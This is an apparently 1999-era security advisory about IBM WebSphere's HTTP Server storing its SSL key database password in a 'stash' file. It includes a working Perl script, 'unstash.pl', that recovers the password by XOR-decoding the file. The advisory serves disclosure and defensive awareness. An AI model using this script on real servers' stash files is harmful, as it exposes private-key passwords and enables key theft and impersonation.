COMMAND
IBM WebSphere
SYSTEMS AFFECTED
IBM WebSphere
PROBLEM
Major Malfunction found following. IBM WebSphere has the option
to use the IBM HTTP Server as it's underlying web server. If you
do this, you have the further option to use SSL connections. If
you do this, you must create a "key database" using the tool
"ikeyman" to store your server certificate/key pair. The key
database must have a password to protect it, which is not allowed
to be null. IBM, in their documentation, give sage advice about
the importance of this password, and what lengths you should go
to choose a good one:
Setting the database password
When you create a new key database, you specify a key database
password. This password is important because it protects the
private key. The private key is the only key that can sign
documents or decrypt messages encrypted with the public key.
It's a good practice to change the key database password
frequently. Use the following guidelines when specifying the
password:
The password must be from the U.S. English character set. The
password should be at least six characters and contain at
least two nonconsecutive numbers. Make sure the password
doesn't consist of publicly obtainable information about you,
such as the initials and birth date for you, your spouse, or
children.
Having created your database, you must store the password in a
"stash" file, which the web server will read. Unfortunately, the
stash file can be "decrypted" with the following code:
#!/usr/bin/perl -w
#
# unstash.pl - "decrypt" IBM HTTP server stash files. No, really. They *are* this pathetic.
#
# sploit (BoByRiTe) 1999, Major Malfunction, code by Ben Laurie, cos I dudn't dud perly thing.
use strict;
die "Usage: $0 <stash file>\n" if $#ARGV != 0;
my $file=$ARGV[0];
open(F,$file) || die "Can't open $file: $!";
my $stash;
read F,$stash,1024;
my @unstash=map { $_^0xf5 } unpack("C*",$stash);
foreach my $c (@unstash) {
last if $c eq 0;
printf "%c",$c;
}
printf "\n";
The problem here is not that the stash file exists in the first
place, as, unless there is some external token based system, there
is no real way around the problem of automating startup securely,
but that it is disguised as a "secure" part of the system. This
is liable to lead to an exploit of other facilities via the
re-used password stored in this file. Not sure what other IBM
applications (if any) use ikeyman, but if there are any they may
have similar problems.
SOLUTION
IBM were made aware of this a couple of weeks ago, and have stated
that they will update their documentation to explain the situation
better, and make lusers aware of the risks...